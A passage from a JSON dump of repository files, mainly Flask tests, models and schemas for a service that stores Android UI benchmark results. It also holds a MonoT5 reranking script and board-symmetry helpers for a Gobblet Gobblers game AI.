FlaskClient, db: SQLAlchemy):\n post_result = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+\",\n \"run_id\": 23940825,\n \"results\": [],\n }\n with client:\n rv = client.post(\"/v1/results\", json=post_result)\n assert rv.status_code == 400\n\n def test_post_valid_result(self, client: FlaskClient, db: SQLAlchemy):\n post_result = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+\",\n \"run_id\": 23940823,\n \"results\": [\n {\n \"test_name\": \"List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n }\n ],\n }\n\n with client:\n rv = client.post(\"/v1/results\", json=post_result)\n assert rv.status_code == 201\n\n def test_get_results_for_model(self, client: FlaskClient, db: SQLAlchemy):\n oneplus6t_data = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+\",\n \"run_id\": 23940823,\n \"results\": [\n {\n \"test_name\": \"List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n {\n \"test_name\": \"Image List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n ],\n }\n\n oneplus5_data = {\n \"android_version\": \"9\",\n \"benchmark_version\": \"0.1\",\n \"build_time\": \"1564569199000\",\n \"build_type\": \"user\",\n \"device_board\": \"msm8998\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_model\": \"ONEPLUS A5000\",\n \"device_name\": \"OnePlus5\",\n \"device_product\": \"OnePlus5\",\n \"fingerprint\": \"OnePlus/OnePlus5/OnePlus5:9/PKQ1.180716.001/1907311824:user/release-keys\",\n \"kernel_version\": \"Linux version 4.4.153-perf+\",\n \"run_id\": -1718173302,\n \"results\": [\n {\n \"bad_frame_pct\": 9.2741935483871,\n \"consistency_bonus\": 1,\n \"jank_pct\": 2.21774193548387,\n \"jank_penalty\": 19,\n \"ms_90th_pctl\": 11.4477123,\n \"ms_95th_pctl\": 15.66393,\n \"ms_99th_pctl\": 41.7292242599998,\n \"ms_avg\": 7.52272483669355,\n \"score\": 821,\n \"test_name\": \"Edit Text Input\",\n \"total_frames\": 496,\n },\n ],\n }\n\n with client:\n rv = client.post(\"/v1/results\", json=oneplus6t_data)\n assert rv.status_code == 201\n\n rv = client.post(\"/v1/results\", json=oneplus5_data)\n assert rv.status_code == 201\n\n rv = client.get(\"v1/results/ONEPLUS A6013\")\n assert rv.status_code == 200\n\n response = rv.get_json()\n\n assert len(response[\"results\"]) == 2\n\n for result in response[\"results\"]:\n assert result[\"device\"][\"device_model\"] == \"ONEPLUS A6013\"\n", "id": "4385024", "language": "Python", "matching_score": 6.4758195877075195, "max_stars_count": 2, "path": "web/tests/integration/test_routes.py" }, { "content": "from flask_sqlalchemy import SQLAlchemy\nfrom typing import List\nfrom app.models import DeviceModel, ResultModel\nfrom app.schemas import DeviceSchema\nfrom app.services import DeviceService, ResultService\n\n\ndef test_device_create(db: SQLAlchemy):\n # GIVEN 1 device entry is created\n oneplus5_data = {\n \"android_version\": \"9\",\n \"benchmark_version\": \"0.1\",\n \"build_time\": \"1564569199000\",\n \"build_type\": \"user\",\n \"device_board\": \"msm8998\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_model\": \"ONEPLUS A5000\",\n \"device_name\": \"OnePlus5\",\n \"device_product\": \"OnePlus5\",\n \"fingerprint\": \"OnePlus/OnePlus5/OnePlus5:9/PKQ1.180716.001/1907311824:user/release-keys\",\n \"kernel_version\": \"Linux version 4.4.153-perf+ (OnePlus@rd-build-191) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Jul 31 18:37:40 HKT 2019\",\n \"run_id\": -1718173302,\n \"results\": [\n {\n \"bad_frame_pct\": 9.2741935483871,\n \"consistency_bonus\": 1,\n \"jank_pct\": 2.21774193548387,\n \"jank_penalty\": 19,\n \"ms_90th_pctl\": 11.4477123,\n \"ms_95th_pctl\": 15.66393,\n \"ms_99th_pctl\": 41.7292242599998,\n \"ms_avg\": 7.52272483669355,\n \"score\": 821,\n \"test_name\": \"Edit Text Input\",\n \"total_frames\": 496,\n },\n ],\n }\n\n device: DeviceModel = DeviceSchema().load(oneplus5_data)\n DeviceService.create(device)\n\n # WHEN user requests for all devices\n devices: List[DeviceModel] = DeviceService.get_all()\n\n # THEN 1 correct device should be returned\n assert len(devices) == 1\n assert device in devices\n\n\ndef test_device_get_all(db: SQLAlchemy):\n # GIVEN 2 existing devices in database\n oneplus6_data = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+ (OnePlus@rd-build-75) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 8 17:52:41 CST 2019\",\n \"run_id\": 23940823,\n \"results\": [\n {\n \"test_name\": \"List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n {\n \"test_name\": \"Image List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n ],\n }\n\n oneplus5_data = {\n \"android_version\": \"9\",\n \"benchmark_version\": \"0.1\",\n \"build_time\": \"1564569199000\",\n \"build_type\": \"user\",\n \"device_board\": \"msm8998\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_model\": \"ONEPLUS A5000\",\n \"device_name\": \"OnePlus5\",\n \"device_product\": \"OnePlus5\",\n \"fingerprint\": \"OnePlus/OnePlus5/OnePlus5:9/PKQ1.180716.001/1907311824:user/release-keys\",\n \"kernel_version\": \"Linux version 4.4.153-perf+ (OnePlus@rd-build-191) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Jul 31 18:37:40 HKT 2019\",\n \"run_id\": -1718173302,\n \"results\": [\n {\n \"bad_frame_pct\": 9.2741935483871,\n \"consistency_bonus\": 1,\n \"jank_pct\": 2.21774193548387,\n \"jank_penalty\": 19,\n \"ms_90th_pctl\": 11.4477123,\n \"ms_95th_pctl\": 15.66393,\n \"ms_99th_pctl\": 41.7292242599998,\n \"ms_avg\": 7.52272483669355,\n \"score\": 821,\n \"test_name\": \"Edit Text Input\",\n \"total_frames\": 496,\n },\n ],\n }\n\n oneplus5: DeviceModel = DeviceSchema().load(oneplus5_data)\n oneplus6: DeviceModel = DeviceSchema().load(oneplus6_data)\n\n DeviceService.create(oneplus5)\n DeviceService.create(oneplus6)\n\n # WHEN user requests for all devices\n devices: List[DeviceModel] = DeviceService.get_all()\n\n # THEN 2 correct devices should be returned\n assert len(devices) == 2\n assert {oneplus5, oneplus6} == set(devices)\n\n\ndef test_result_get_all(db: SQLAlchemy):\n # GIVEN 3 existing test results in database\n oneplus6_data = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+ (OnePlus@rd-build-75) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 8 17:52:41 CST 2019\",\n \"run_id\": 23940823,\n \"results\": [\n {\n \"test_name\": \"List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n {\n \"test_name\": \"Image List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n ],\n }\n\n oneplus5_data = {\n \"android_version\": \"9\",\n \"benchmark_version\": \"0.1\",\n \"build_time\": \"1564569199000\",\n \"build_type\": \"user\",\n \"device_board\": \"msm8998\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_model\": \"ONEPLUS A5000\",\n \"device_name\": \"OnePlus5\",\n \"device_product\": \"OnePlus5\",\n \"fingerprint\": \"OnePlus/OnePlus5/OnePlus5:9/PKQ1.180716.001/1907311824:user/release-keys\",\n \"kernel_version\": \"Linux version 4.4.153-perf+ (OnePlus@rd-build-191) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Jul 31 18:37:40 HKT 2019\",\n \"run_id\": -1718173302,\n \"results\": [\n {\n \"bad_frame_pct\": 9.2741935483871,\n \"consistency_bonus\": 1,\n \"jank_pct\": 2.21774193548387,\n \"jank_penalty\": 19,\n \"ms_90th_pctl\": 11.4477123,\n \"ms_95th_pctl\": 15.66393,\n \"ms_99th_pctl\": 41.7292242599998,\n \"ms_avg\": 7.52272483669355,\n \"score\": 821,\n \"test_name\": \"Edit Text Input\",\n \"total_frames\": 496,\n },\n ],\n }\n\n oneplus5: DeviceModel = DeviceSchema().load(oneplus5_data)\n oneplus6: DeviceModel = DeviceSchema().load(oneplus6_data)\n\n DeviceService.create(oneplus5)\n DeviceService.create(oneplus6)\n\n # WHEN user requests for all test results\n results: List[ResultModel] = ResultService.get_all()\n\n # THEN 3 correct test results should be returned\n assert len(results) == 3\n for res in oneplus5.results + oneplus6.results:\n assert res in results\n\n\ndef test_result_get_by_model(db: SQLAlchemy):\n # GIVEN 3 existing test results for ONEPLUS A6013 in database\n oneplus6_data_a = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+ (OnePlus@rd-build-75) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 8 17:52:41 CST 2019\",\n \"run_id\": 1,\n \"results\": [\n {\n \"test_name\": \"List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n {\n \"test_name\": \"Image List View Fling\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n ],\n }\n\n oneplus6_data_b = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+ (OnePlus@rd-build-75) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Tue Oct 8 17:52:41 CST 2019\",\n \"run_id\": 2,\n \"results\": [\n {\n \"test_name\": \"Bitmap Upload Test\",\n \"score\": 32,\n \"jank_penalty\": 54,\n \"consistency_bonus\": 50,\n \"jank_pct\": 12.3,\n \"bad_frame_pct\": 32.7,\n \"total_frames\": 9100,\n \"ms_avg\": 9.76,\n \"ms_90th_pctl\": 11.12,\n \"ms_95th_pctl\": 18.54,\n \"ms_99th_pctl\": 24.13,\n },\n ],\n }\n\n oneplus5_data = {\n \"android_version\": \"9\",\n \"benchmark_version\": \"0.1\",\n \"build_time\": \"1564569199000\",\n \"build_type\": \"user\",\n \"device_board\": \"msm8998\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_model\": \"ONEPLUS A5000\",\n \"device_name\": \"OnePlus5\",\n \"device_product\": \"OnePlus5\",\n \"fingerprint\": \"OnePlus/OnePlus5/OnePlus5:9/PKQ1.180716.001/1907311824:user/release-keys\",\n \"kernel_version\": \"Linux version 4.4.153-perf+ (OnePlus@rd-build-191) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Jul 31 18:37:40 HKT 2019\",\n \"run_id\": -1718173302,\n \"results\": [\n {\n \"bad_frame_pct\": 9.2741935483871,\n \"consistency_bonus\": 1,\n \"jank_pct\": 2.21774193548387,\n \"jank_penalty\": 19,\n \"ms_90th_pctl\": 11.4477123,\n \"ms_95th_pctl\": 15.66393,\n \"ms_99th_pctl\": 41.7292242599998,\n \"ms_avg\": 7.52272483669355,\n \"score\": 821,\n \"test_name\": \"Edit Text Input\",\n \"total_frames\": 496,\n },\n ],\n }\n\n oneplus5: DeviceModel = DeviceSchema().load(oneplus5_data)\n oneplus6_a: DeviceModel = DeviceSchema().load(oneplus6_data_a)\n oneplus6_b: DeviceModel = DeviceSchema().load(oneplus6_data_b)\n\n DeviceService.create(oneplus5)\n DeviceService.create(oneplus6_a)\n DeviceService.create(oneplus6_b)\n\n # WHEN user requests for all test results for ONEPLUS A6013\n results: List[ResultModel] = ResultService.get_by_model(\"ONEPLUS A6013\")\n\n # THEN 3 correct test results should be returned\n assert len(results) == 3\n for res in oneplus6_a.results + oneplus6_b.results:\n assert res in results\n", "id": "2765986", "language": "Python", "matching_score": 6.209774971008301, "max_stars_count": 2, "path": "web/tests/unit/test_services.py" }, { "content": "from . import db\nfrom datetime import datetime\n\n\nclass DeviceModel(db.Model):\n __tablename__ = \"devices\"\n\n id = db.Column(db.Integer, primary_key=True)\n run_id = db.Column(db.Integer, nullable=False)\n benchmark_version = db.Column(db.String(10), nullable=False)\n device_name = db.Column(db.String(80), nullable=False)\n device_model = db.Column(db.String(80), nullable=False)\n device_product = db.Column(db.String(80), nullable=False)\n device_board = db.Column(db.String(80), nullable=False)\n device_manufacturer = db.Column(db.String(80), nullable=False)\n device_brand = db.Column(db.String(80), nullable=False)\n device_hardware = db.Column(db.String(80), nullable=False)\n android_version = db.Column(db.String(80), nullable=False)\n build_type = db.Column(db.String(80), nullable=False)\n build_time = db.Column(db.String(80), nullable=False)\n fingerprint = db.Column(db.String(120), nullable=False)\n kernel_version = db.Column(db.String(200))\n timestamp = db.Column(\n db.DateTime, nullable=False, default=datetime.utcnow, onupdate=datetime.utcnow\n )\n results = db.relationship(\n \"ResultModel\",\n backref=db.backref(\"device\", lazy=True),\n cascade=\"all, delete, delete-orphan\",\n single_parent=True,\n )\n\n\nclass ResultModel(db.Model):\n __tablename__ = \"results\"\n\n id = db.Column(db.Integer, primary_key=True)\n test_name = db.Column(db.String(80), nullable=False)\n score = db.Column(db.Integer, nullable=False)\n jank_penalty = db.Column(db.Integer, nullable=False)\n consistency_bonus = db.Column(db.Integer, nullable=False)\n jank_pct = db.Column(db.Numeric(8, 3), nullable=False)\n bad_frame_pct = db.Column(db.Numeric(8, 3), nullable=False)\n total_frames = db.Column(db.Integer, nullable=False)\n ms_avg = db.Column(db.Numeric(8, 3), nullable=False)\n ms_90th_pctl = db.Column(db.Numeric(8, 2), nullable=False)\n ms_95th_pctl = db.Column(db.Numeric(8, 2), nullable=False)\n ms_99th_pctl = db.Column(db.Numeric(8, 2), nullable=False)\n\n device_id = db.Column(db.Integer, db.ForeignKey(\"devices.id\"), nullable=False)\n", "id": "12146658", "language": "Python", "matching_score": 1.53130042552948, "max_stars_count": 2, "path": "web/app/models.py" }, { "content": "from . import ma\nfrom marshmallow import validates, ValidationError\nfrom .models import DeviceModel, ResultModel\n\n\nclass DeviceSchema(ma.ModelSchema):\n results = ma.Nested(\"ResultSchema\", many=True, exclude=(\"device\",), required=True)\n\n class Meta:\n model = DeviceModel\n exclude = (\"id\",)\n\n @validates(\"results\")\n def validate_results(self, results):\n if not results:\n raise ValidationError(\"results cannot be empty.\")\n\n @validates(\"run_id\")\n def validate_run_id(self, run_id):\n results = DeviceModel.query.filter_by(run_id=run_id).all()\n if len(results) > 0:\n raise ValidationError(\"Duplicate results not accepted.\")\n\n\nclass ResultSchema(ma.ModelSchema):\n device = ma.Nested(\"DeviceSchema\", many=False, exclude=(\"results\",))\n\n class Meta:\n model = ResultModel\n exclude = (\"id\", \"device_id\")\n include_fk = True\n\n @validates(\"test_name\")\n def validate_test_name(self, test_name):\n allowable_tests = (\n \"List View Fling\",\n \"Image List View Fling\",\n \"Shadow Grid Fling\",\n \"High-hitrate text render\",\n \"Low-hitrate text render\",\n \"Edit Text Input\",\n \"Overdraw Test\",\n \"Bitmap Upload Test\",\n )\n\n if test_name not in allowable_tests:\n raise ValidationError(f\"{test_name} is not a valid test.\")\n", "id": "5804311", "language": "Python", "matching_score": 2.257815361022949, "max_stars_count": 2, "path": "web/app/schemas.py" }, { "content": "from app.errors import bp\nfrom flask import jsonify\nfrom marshmallow import ValidationError\n\n\n@bp.app_errorhandler(ValidationError)\ndef handle_marshmallow_validation(err):\n return jsonify(err.messages), 400\n", "id": "8635359", "language": "Python", "matching_score": 1.027489185333252, "max_stars_count": 2, "path": "web/app/errors/handlers.py" } ]
1.878201
MarliseLussa
[ { "content": "import argparse\nimport pandas as pd\nfrom tqdm import tqdm\nfrom pygaggle.rerank.base import Query, Text\nfrom pygaggle.rerank.transformer import MonoT5\n\n\ndef load_corpus(path):\n print('Loading corpus...')\n corpus = {}\n with open(path, 'r', encoding='utf-8') as f_in:\n for line in tqdm(f_in):\n doc_id, doc = line.rstrip().split('\\t')\n corpus[int(doc_id)] = doc\n return corpus\n\n\ndef load_run(path):\n print('Loading run...')\n run = pd.read_csv(path, delim_whitespace=True, header=None)\n run = run.groupby(0)[1].apply(list).to_dict()\n return run\n\n\ndef load_queries(path):\n print('Loading queries...')\n queries = pd.read_csv(path, sep='\\t', header=None, index_col=0)\n queries = queries[1].to_dict()\n return queries\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model_name_or_path\", default='unicamp-dl/mt5-base-multi-msmarco',\n type=str, required=False, help=\"Reranker model.\")\n parser.add_argument(\"--initial_run\", default=None, type=str, required=True,\n help=\"Initial run to be reranked.\")\n parser.add_argument(\"--corpus\", default=None, type=str, required=True,\n help=\"Document collection.\")\n parser.add_argument(\"--output_run\", default=None, type=str, required=True,\n help=\"Path to save the reranked run.\")\n parser.add_argument(\"--queries\", default=None, type=str, required=True,\n help=\"Path to the queries file.\")\n\n args = parser.parse_args()\n model = MonoT5(args.model_name_or_path)\n run = load_run(args.initial_run)\n corpus = load_corpus(args.corpus)\n queries = load_queries(args.queries)\n\n # Run reranker\n with open(args.output_run + '-trec.txt', 'w', encoding='utf-8') as f_out:\n for query_id in tqdm(run.keys()):\n query = Query(queries[query_id])\n texts = [Text(corpus[doc_id], {'docid': doc_id}, 0) for doc_id in run[query_id]]\n reranked = model.rerank(query, texts)\n for rank, document in enumerate(reranked):\n f_out.write(f'{query_id}\\tQ0\\t{document.metadata[\"docid\"]}\\t{rank+1}\\t \\\n {document.score}\\t{args.model_name_or_path}\\n')\n print(\"Done!\")\n\nif __name__ == \"__main__\":\n main()\n", "id": "1081574", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "scripts/reranker.py" } ]
0
kentokura
[ { "content": "import evaluate_algorithm\nimport generate_node_all\n\nprint()\nprint(\"何をしますか\")\nprint(\"1: ゲームAIの評価\")\nprint(\"2: 盤面の列挙\")\nprint(\"選択:\", end=\"\")\nmode = input()\nif mode not in {\"1\", \"2\"}:\n print(\"modeが正常に選択されませんでした\")\nelif mode == \"1\":\n evaluate_algorithm.main()\nelif mode == \"2\":\n generate_node_all.main()\n", "id": "4065848", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "main.py" }, { "content": "import gobbletgobblers as game\n\n\n# 時計回りに90度回転\ndef rotate90(pieces):\n pieces = [pieces[6], pieces[3], pieces[0],\n pieces[7], pieces[4], pieces[1],\n pieces[8], pieces[5], pieces[2]]\n return pieces\n\n\n# 時計回りに180度回転\ndef rotate180(pieces):\n pieces = [pieces[8], pieces[7], pieces[6],\n pieces[5], pieces[4], pieces[3],\n pieces[2], pieces[1], pieces[0]]\n return pieces\n\n\n# 時計回りに270度回転\ndef rotate270(pieces):\n pieces = [pieces[2], pieces[5], pieces[8],\n pieces[1], pieces[4], pieces[7],\n pieces[0], pieces[3], pieces[6]]\n return pieces\n\n\n# 縦に線対称\ndef vertical(pieces):\n pieces = [pieces[2], pieces[1], pieces[0],\n pieces[5], pieces[4], pieces[3],\n pieces[8], pieces[7], pieces[6]]\n return pieces\n\n\n# 横に線対称\ndef horizontal(pieces):\n pieces = [pieces[6], pieces[7], pieces[8],\n pieces[3], pieces[4], pieces[5],\n pieces[0], pieces[1], pieces[2]]\n return pieces\n\n\n# 左上から斜めに線対称\ndef upper_left(pieces):\n pieces = [pieces[0], pieces[3], pieces[6],\n pieces[1], pieces[4], pieces[7],\n pieces[2], pieces[5], pieces[8]]\n return pieces\n\n\n# 右上から斜めに線対称\ndef upper_right(pieces):\n pieces = [pieces[8], pieces[5], pieces[2],\n pieces[7], pieces[4], pieces[1],\n pieces[6], pieces[3], pieces[0]]\n return pieces\n\n\n# 時計回りに90度回転したStateを作成\ndef rotate90_state(state):\n my_small_pieces = rotate90(state.my_small_pieces)\n enemy_small_pieces = rotate90(state.enemy_small_pieces)\n my_large_pieces = rotate90(state.my_large_pieces)\n enemy_large_pieces = rotate90(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 時計回りに180度回転したStateを作成\ndef rotate180_state(state):\n my_small_pieces = rotate180(state.my_small_pieces)\n enemy_small_pieces = rotate180(state.enemy_small_pieces)\n my_large_pieces = rotate180(state.my_large_pieces)\n enemy_large_pieces = rotate180(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 時計回りに270度回転したStateを作成\ndef rotate270_state(state):\n my_small_pieces = rotate270(state.my_small_pieces)\n enemy_small_pieces = rotate270(state.enemy_small_pieces)\n my_large_pieces = rotate270(state.my_large_pieces)\n enemy_large_pieces = rotate270(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 縦に線対称のStateを作成\ndef vertical_state(state):\n my_small_pieces = vertical(state.my_small_pieces)\n enemy_small_pieces = vertical(state.enemy_small_pieces)\n my_large_pieces = vertical(state.my_large_pieces)\n enemy_large_pieces = vertical(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 横に線対称のStateを作成\ndef horizontal_state(state):\n my_small_pieces = horizontal(state.my_small_pieces)\n enemy_small_pieces = horizontal(state.enemy_small_pieces)\n my_large_pieces = horizontal(state.my_large_pieces)\n enemy_large_pieces = horizontal(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 左上から斜めに線対称のStateを作成\ndef upper_left_state(state):\n my_small_pieces = upper_left(state.my_small_pieces)\n enemy_small_pieces = upper_left(state.enemy_small_pieces)\n my_large_pieces = upper_left(state.my_large_pieces)\n enemy_large_pieces = upper_left(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 右上から斜めに線対称のStateを作成\ndef upper_right_state(state):\n my_small_pieces = upper_right(state.my_small_pieces)\n enemy_small_pieces = upper_right(state.enemy_small_pieces)\n my_large_pieces = upper_right(state.my_large_pieces)\n enemy_large_pieces = upper_right(state.enemy_large_pieces)\n convert_state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n return convert_state\n\n\n# 正規化したStateを作成\ndef normalize_state(state):\n \"\"\"正規化したStateを作成する\n\n 与えられたstateを90°, 180°, 270°回転対称、x軸, y軸対称, y=x, y=-xに線対称なstateを作成し、\n binaryに置き換えたときに最も小さくなるようなstateに変換する。\n Args:\n state: 変換したいコマの配置。\n\n Returns:\n state: 正規化したstate\n\n Examples:\n\n あらかじめstateを作成しておく。以下のように書くことで、正規化したstateを取得できる。\n state: 定義ずみのState型変数\n\n state = convert.normalize_state(state)\n \"\"\"\n cand_states = [rotate90_state(state), rotate180_state(state), rotate270_state(state), vertical_state(state),\n horizontal_state(state), upper_left_state(state), upper_right_state(state)]\n normalized_state = state\n binary_normalize_state = state.get_pieces_for_binary()\n for cand_state in cand_states:\n if binary_normalize_state > cand_state.get_pieces_for_binary():\n normalized_state = cand_state\n binary_normalize_state = cand_state.get_pieces_for_binary()\n return normalized_state\n\n\n", "id": "10337395", "language": "Python", "matching_score": 2.08660888671875, "max_stars_count": 1, "path": "state_convert.py" }, { "content": "import state_convert as convert\n\n\n\"\"\"三目並べの作成\n\"\"\"\n\n\ndef 